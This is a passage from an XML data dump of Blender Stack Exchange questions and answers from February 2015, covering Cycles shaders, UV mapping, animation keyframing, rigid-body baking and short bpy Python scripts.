find some other way with multiple passes?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If someone can provide an extremely simple example for Cycles it would help me a lot. How about a shader for a UV Sphere where the sphere is green where it is within 1 blender unit of an Empty and red where it is more than 1 blender unit from the Empty? Can even just be in x to make things simpler.&lt;/p&gt;&#xA;" OwnerUserId="9651" LastEditorUserId="9651" LastEditDate="2015-03-01T06:22:17.337" LastActivityDate="2021-02-10T17:53:50.780" Title="Can I refer to another object's properties from a Cycles node shader? Drivers? If so, how?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;shaders&gt;&lt;properties&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26389" PostTypeId="1" CreationDate="2015-02-28T13:28:07.123" Score="0" ViewCount="22" Body="&lt;p&gt;I would like to know if I can edit with reduced files from 4k footage and when I'm done with my editing in low res, change folder so that Blender does the exact same editing but with the 4k footage in another folder. Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2015-02-28T13:28:07.123" Title="editing in low res" Tags="&lt;editing&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-02-28T14:48:19.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="26390" PostTypeId="2" ParentId="26356" CreationDate="2015-02-28T14:04:42.940" Score="1" Body="&lt;p&gt;You can blend the actions in the properties of the &lt;em&gt;Action Strip&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iXK5h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extrapolation and blend settings are important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aGnh5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have keyframed the scale some bones of the upper body in the crouch action (perhaps accidentally) in case you wonder why this looks like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/54/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=54&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To stop movement while crouching simply keyframe the same position for the frames:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fjxHW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2015-02-28T18:19:23.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26391" PostTypeId="1" AcceptedAnswerId="26473" CreationDate="2015-02-28T14:18:49.317" Score="4" ViewCount="315" Body="&lt;p&gt;I have trouble with damaging system.&#xA;I have made a damage system using property(animation property to damage at specific frame) and ray detecting &quot;dmg&quot; property connected to enemy object hp removal actuator with enemy having &quot;dmg&quot; property.&#xA;When i test on 1 (original) enemy, it works but when i want to make enemies appear via add object actuator it causes only the original object take damage.i tried to put the original on other layer but still didnt do anything. any idea how to make it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J3boO.png&quot; alt=&quot;the system&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would also accept a new system for damage&lt;/p&gt;&#xA;" OwnerUserId="12874" LastEditorUserId="12874" LastEditDate="2015-03-01T19:53:10.883" LastActivityDate="2015-03-01T19:53:10.883" Title="how to damage copies of 1 enemy with" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26392" PostTypeId="2" ParentId="26388" CreationDate="2015-02-28T14:24:35.090" Score="9" Body="&lt;p&gt;Since blender 2.67 you can write a &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Python_Nodes&quot; rel=&quot;noreferrer&quot;&gt;custom pynode&lt;/a&gt; or use &lt;a href=&quot;https://github.com/JacquesLucke/animation-nodes&quot; rel=&quot;noreferrer&quot;&gt;Animation Nodes&lt;/a&gt; as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qE7qK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;br/&gt;&#xA;&lt;em&gt;In this example the material color is generated by the rotation of another object&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J9zcG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Crlpl.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;br/&gt;&lt;em&gt;In this example the color changes to green if the position value x of the empty is greater than 1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zjetu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; Enable cycles first to access the color of the diffuse shader and use a expression node to get the desired and correct color values.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-02-28T19:29:40.077" LastActivityDate="2015-02-28T19:29:40.077" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="26393" PostTypeId="1" AcceptedAnswerId="31624" CreationDate="2015-02-28T14:37:51.873" Score="4" ViewCount="3448" Body="&lt;p&gt;For example, Is it possible to control a value on a motion actuator by linking it to the value of a set property? For example movement speed that can be changed on the fly by changing the property value, to change the speed?&lt;br&gt;&#xA;If not possible solely using logic bricks then how would you do this using script? Would prefer logic bricks though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Using the picture as reference) Basically I just want the value of the X Rotation (second red box) to mirror what ever the value is of the property sp1 (first red box).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hX0fu.jpg&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12875" LastEditorUserId="2217" LastEditDate="2015-02-28T14:51:59.893" LastActivityDate="2018-12-08T14:38:44.347" Title="Using game property to control actuator values (BGE Logic Bricks)" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;properties&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26395" PostTypeId="1" CreationDate="2015-02-28T14:55:42.260" Score="3" ViewCount="900" Body="&lt;p&gt;I am exporting meshes attached to bones. For each mesh I have transform matrix&#xA;that is used to position mesh relative to bone. &#xA;This relative matrix is calculated using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.parent.data.bones[obj.parent_bone].matrix_local.inverted() * obj.matrix_local&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I export with armature in&#xA;rest position I get correct results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y8ApM.png&quot; alt=&quot;correct positions&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I switch to pose position in blender and export, I get wrong results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IZtQb.png&quot; alt=&quot;wrong positions&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that problem is &lt;code&gt;obj.matrix_local&lt;/code&gt; which is based on current bone position.&#xA;How can I force rest position, or use other method to calculate object's transform&#xA;relative to bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;armature.data.pose_position = 'REST'&lt;/code&gt; doesn't work from script, but looks like&#xA;it works from console.&lt;/p&gt;&#xA;" OwnerUserId="8031" LastEditorUserId="2217" LastEditDate="2015-02-28T15:03:48.413" LastActivityDate="2017-07-18T17:27:09.423" Title="Python exporter set armature to rest pose while exporting meshes" Tags="&lt;python&gt;&lt;export&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26396" PostTypeId="1" AcceptedAnswerId="26437" CreationDate="2015-02-28T15:14:10.830" Score="6" ViewCount="1347" Body="&lt;p&gt;I'm trying to figure out the proper way of generating a UV map that does not distort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to generate a UV map to place a normal map on top of, that doesn't stretch to the vertices of the mesh. See image 4 where it naturally stretches to the X and Y dimensions of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way of doing this? It seems to have worked in image 5, but I would prefer to have it be exactly squares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is it possible to have the floor be slightly glossy so that this normal disrupts its perfect surface?&lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="6351" LastEditDate="2016-03-24T22:29:14.237" LastActivityDate="2017-03-01T08:11:18.533" Title="Unstretched Generated texture coordinates for Normal Mapping" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26397" PostTypeId="1" AcceptedAnswerId="26418" CreationDate="2015-02-28T15:17:13.023" Score="0" ViewCount="616" Body="&lt;p&gt;I like to read the location values of an empty by a phyton script.&#xA;The empty has a shrinkwarp constraint an is projected to an plane (ground).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &gt;&gt;&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['empty_left.005'].location &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i get: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Vector((3.6352062225341797, 5.1430134773254395, 0.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the z-value is the origin value and not the projection value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i use the z-value as a variable for a driver, the correct value is used:&#xA;&lt;img src=&quot;https://abload.de/img/2015-02-28_16127gudh.png&quot; alt=&quot;driver&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2488" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.177" LastActivityDate="2015-02-28T19:16:50.967" Title="Get Location of an empty with shrinkwarp constraint" Tags="&lt;python&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26398" PostTypeId="2" ParentId="26396" CreationDate="2015-02-28T15:25:43.853" Score="4" Body="&lt;p&gt;Go into top view, select all vertices, and pres &lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;&gt; Project From View&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q72cx.png&quot; alt=&quot;Project From View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will work excellently as this is just a plane. All you then need to do is change the texture coordinates in you material from &lt;em&gt;Generated&lt;/em&gt; (your current setting) to &lt;em&gt;UV&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OHAbi.png&quot; alt=&quot;UV Coordinates&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To add some gloss, just mix your diffuse with a &lt;em&gt;Glossy BSDF&lt;/em&gt; shader with the same color input, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3sCft.png&quot; alt=&quot;Mix Shaders&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then edit the &lt;em&gt;Factor&lt;/em&gt; of the &lt;em&gt;Mix&lt;/em&gt; node to decide how much gloss, and the &lt;em&gt;Roughness&lt;/em&gt; of the glossy shader to determine the sharpness of the reflections.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-28T15:31:40.000" LastActivityDate="2015-02-28T15:31:40.000" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26399" PostTypeId="1" CreationDate="2015-02-28T15:30:17.607" Score="1" ViewCount="753" Body="&lt;p&gt;I have no clue how to do any intricate things. (like adding a texture or animating.) I want to spin a more or less rectangular object 90 degrees, twice.&lt;/p&gt;&#xA;" OwnerUserId="12877" LastEditorUserId="2217" LastEditDate="2015-02-28T15:43:58.650" LastActivityDate="2015-02-28T16:17:05.283" Title="How do I animate rotating 90 degrees, then rotate back to the original place?" Tags="&lt;animation&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26400" PostTypeId="2" ParentId="26399" CreationDate="2015-02-28T16:05:12.813" Score="5" Body="&lt;p&gt;You need to use basic keyframing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got to the start of your animation, it &lt;kbd&gt;I&lt;/kbd&gt;&gt;&lt;em&gt;Rotation&lt;/em&gt; move ahead in your timeline, rotate it by 90&lt;sup&gt;o&lt;/sup&gt; and &lt;kbd&gt;I&lt;/kbd&gt;&gt;&lt;em&gt;Rotation&lt;/em&gt;. Move the the next location of the spin animation, and repeat the above steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c2Meq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-02-28T16:17:05.283" LastActivityDate="2015-02-28T16:17:05.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26401" PostTypeId="1" AcceptedAnswerId="26402" CreationDate="2015-02-28T16:07:21.050" Score="10" ViewCount="15730" Body="&lt;p&gt;I have a model with some objects above eache other and enable rigid body physics for them so the upper ones fall on the lower one. Now when I play the animation to a certain frame how can I put it as the default location/rotation of the mesh?&lt;/p&gt;&#xA;" OwnerUserId="11484" LastActivityDate="2016-09-04T22:35:54.247" Title="How to bake rigid body physics frame in blender render?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;baking&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26402" PostTypeId="2" ParentId="26401" CreationDate="2015-02-28T16:11:21.367" Score="13" Body="&lt;p&gt;Select all your objects and hit bake to keyframes. Set the starting and endeding frames to the frame you want them to stay at. Go to that frame, and hit &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;I&lt;/kbd&gt;. This will remove the unnecessary keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/acPXy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-02-28T16:11:21.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26403" PostTypeId="1" AcceptedAnswerId="26404" CreationDate="2015-02-28T16:23:49.853" Score="2" ViewCount="153" Body="&lt;p&gt;What I am trying to achieve is&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Semi-gloss floor (light grey E7E7E7)&lt;/li&gt;&#xA;&lt;li&gt;Slight bumps and nicks in the floor (normal map?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've taken my floor plane and applied a normal map as seen here &lt;a href=&quot;https://blender.stackexchange.com/questions/26396/generated-tileable-normal-mapping&quot;&gt;(LINK)&lt;/a&gt; but now I am trying to figure out...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I keep my Glossy BSFD shader of a light grey with roughness of 0.65 AND have the normal map laid out on top of that? When I appoint the normal map to a diffuse and the floor colour to glossy and mix them both, then I end up with a colour different than the floor should be (lighter)&lt;/li&gt;&#xA;&lt;li&gt;How do I ensure the normal map disrupts the reflection of the Glossy BSFD?&lt;/li&gt;&#xA;&lt;li&gt;How do I change the intensity of the normal map?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do here is have a clean semi-gloss floor, but with slight varience &lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2016-03-01T18:37:19.913" Title="Slight variance in floor (normal mapping?)" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26404" PostTypeId="2" ParentId="26403" CreationDate="2015-02-28T16:33:30.237" Score="2" Body="&lt;p&gt;There are several things you could do, one way would be to put the &lt;em&gt;Normal&lt;/em&gt; value into the &lt;em&gt;Glossy BSDF&lt;/em&gt; shader as well as the diffuse:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6lnfH.png&quot; alt=&quot;Glossy BSDF Normal input&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However I would recommend using the &lt;em&gt;Material Output&lt;/em&gt; node's &lt;em&gt;Displacement&lt;/em&gt; input. I find that it works very well though in many instances, your type of scene especially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9l4Or.png&quot; alt=&quot;Material Displacement&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what it does:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5F1QQ.png&quot; alt=&quot;Displacement Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this with any texture, from noise to musgrave to image to normal, they all work using this method. Now of course, the mesh profile will not change like with a real displacement modifier, but in your case, this doesn't matter, as you only want it to look like the bumps are there, and unless you put the camera right down next to the boards looking towards the horizon, you will never notice the difference, Much faster too.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can also change the strength by using a &lt;em&gt;Math&lt;/em&gt; node set to multiply:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RlZEQ.png&quot; alt=&quot;Math Node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find this node under &lt;em&gt;Add &gt; Converter &gt; Math&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now change the height of the bumps by changing the lower &lt;em&gt;Value&lt;/em&gt; up or down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o40I0.gif&quot; alt=&quot;Displacement changes GIF&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use negative values to invert the bumps as well.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In your specific instance, you need to set up your nodes like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cd1bN.png&quot; alt=&quot;Nodes Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you might want to re-make your floor mesh, as currently it is made from many N-Gons. Anyways, be sure to change the &lt;em&gt;Mix&lt;/em&gt; shader value, it is set so only the glossy will show (1.0 glossy shader) &lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-03-01T01:15:59.203" LastActivityDate="2015-03-01T01:15:59.203" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26405" PostTypeId="2" ParentId="4856" CreationDate="2015-02-28T17:18:26.783" Score="0" Body="&lt;p&gt;The reason why the mesh gets disconnected has to do with the conventions of storing vertex color in many file formats and rendering systems.  It is because you applied vertex color with a mask (or used your camera to hide the other faces).  Because the underlying file can only store a color per vertex, it needs to split the faces and duplicate the vertex so it can store the disparate vertex colors for the two different adjoining faces.  Blender doesn't represent it this way internally so you still see your vertices connected the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you basically have a black-and-white choice here -- do you want the faces to be connected or do you want the colors to be disjointed.&lt;/p&gt;&#xA;" OwnerUserId="12881" LastActivityDate="2015-02-28T17:18:26.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26406" PostTypeId="1" CreationDate="2015-02-28T17:28:19.057" Score="2" ViewCount="1368" Body="&lt;p&gt;I am making a character in Blender and animating it through Unity's Animator Controller.&#xA;I have a Base layer in Unity which animates the basic body movements, and an Additive layer which animates the expressions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setup is working fine, but something is wrong with some of the partial animations. They get imported into Unity just fine, but will only play as Base-animations or Override animations, &lt;em&gt;not Additive&lt;/em&gt;. As Override (when they are the only animations playing) they play just fine in Unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of the bones in the expression-animations are referenced in the base/body animations and vice-versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I thought this was a Unity issue, but I fear it is my Blender animations that are to blame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas or pointers as to why this could be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/John&lt;/p&gt;&#xA;" OwnerUserId="12878" LastActivityDate="2015-03-31T12:18:01.297" Title="Some partial animations cannot play as additive in Unity" Tags="&lt;animation&gt;&lt;bones&gt;&lt;unity&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26407" PostTypeId="1" CreationDate="2015-02-28T17:31:33.380" Score="2" ViewCount="1547" Body="&lt;p&gt;I am getting weird geometry when i try to add the skin modifier to an edge. Im following the tutorials but my starting result is off.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eoEgy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tbLSJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12882" LastActivityDate="2015-02-28T22:25:02.017" Title="Skin modifier giving wierd geometry" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26408" PostTypeId="1" AcceptedAnswerId="26422" CreationDate="2015-02-28T17:58:42.510" Score="3" ViewCount="258" Body="&lt;p&gt;I'm trying to use python to loop through objects in a specific way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a grid of objects, evenly spaced apart:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WKMnkm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wan't to loop through them, to make changes. starting form the upper left, going row &gt; column. I need the value of the row and column, as well as access to any object at any coridantes. I'm thinking that this would best be achieved by a 2D array [row][column], containing the objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pseudo-code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for rows of objecs&#xA;    for objects in line with current row head //rowhead= left most object in the row&#xA;         //Do stuff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For testing:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/56/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=56&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2015-02-28T23:35:27.923" Title="Python, get neighboring objects on an axis" Tags="&lt;scripting&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26410" PostTypeId="1" AcceptedAnswerId="26413" CreationDate="2015-02-28T18:06:29.877" Score="1" ViewCount="1218" Body="&lt;p&gt;I am completely new to Blender and I have trouble solving a rather trivial problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a model of a machine which parts can only rotate around a given axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: Imagine a tank with its turret. The platform of the turret can only rotate in a circle around the y-axis (height axis). I wanted to archive this with a simple cylinder and a rotating plate on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I watched tutorials on rigging but using armature seemed the wrong move since it mainly bends instead of rotating the object. Is there a way to force the armature bone to only be able to rotate? If thats possible I could assign every part of the machine one bone with fixed axis rotation and a fixed offset to the next part of the machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which technique should be used to archive the given task?&lt;/p&gt;&#xA;" OwnerUserId="12883" LastActivityDate="2017-08-16T11:11:01.737" Title="Rotation around one axis (Mechanical)" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26411" PostTypeId="2" ParentId="26406" CreationDate="2015-02-28T18:12:40.513" Score="1" Body="&lt;p&gt;have you tried adjusting the transition bar? It's the blue bar that intersects both transitions. The smaller the blue area, the more noticeable second animation. Another possible reason is that you have some of the animations set to atomic, which means they can't be interrupted. Just uncheck atomic and that might fix it as well.&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2015-02-28T18:12:40.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26412" PostTypeId="2" ParentId="26397" CreationDate="2015-02-28T18:13:40.943" Score="0" Body="&lt;p&gt;you need to apply the visual transform 'which apply the constraint transform' to get the actual location of your object :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;ob = bpy.data.objects['Empty']&#xA;bpy.context.scene.objects.active = ob&#xA;bpy.ops.object.visual_transform_apply()&#xA;print(ob.location)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-28T18:13:40.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26413" PostTypeId="2" ParentId="26410" CreationDate="2015-02-28T18:16:11.020" Score="2" Body="&lt;p&gt;You can add a &lt;em&gt;Copy Rotation&lt;/em&gt; constraint to them pointed to one &lt;em&gt;Empty&lt;/em&gt;, then just rotate the empty on that axis by pressing &lt;kbd&gt;R&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/COgpQ.jpg&quot; alt=&quot;Add Copy Rotation Constraint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zH8Fy.jpg&quot; alt=&quot;Copy Rotation Constraint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you rotate the empty all the other objects follow that rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ZPWt.gif&quot; alt=&quot;Copy Rotation GIF&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-28T18:16:11.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26414" PostTypeId="2" ParentId="21313" CreationDate="2015-02-28T18:16:44.273" Score="5" Body="&lt;p&gt;I would like to point out that the blender python has an API for ray_casting objects so you don't have to manually loop over all the faces of the object your self.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_63_8/bpy.types.Object.html?highlight=object.ray_cast#bpy.types.Object.ray_cast&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_2_63_8/bpy.types.Object.html?highlight=object.ray_cast#bpy.types.Object.ray_cast&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector, Matrix&#xA;&#xA;SunObj = bpy.data.objects['Sun']&#xA;sun_mx = SunObj.matrix_world&#xA;&#xA;Surface_Object = bpy.data.objects['Test Points']&#xA;surface_mx = Surface_Object.matrix_world&#xA;for v in Surface_Object.data.vertices:&#xA;    v.select = False&#xA;&#xA;#here some simple test objects&#xA;test_names = ['Torus', 'Suzanne', 'Cone']&#xA;test_objs = [bpy.data.objects[name] for name in test_names]&#xA;test_mxs = [ob.matrix_world for ob in test_objs]&#xA;&#xA;#we get the sun location from the world matrix&#xA;sun_location = Vector((sun_mx[0][3], sun_mx[1][3], sun_mx[2][3]))&#xA;&#xA;#Test test points are stored in object data&#xA;test_points = [surface_mx * v.co for v in Surface_Object.data.vertices]&#xA;&#xA;hits = 0&#xA;for ob, mx in zip(test_objs, test_mxs):&#xA;&#xA;    imx = mx.inverted() 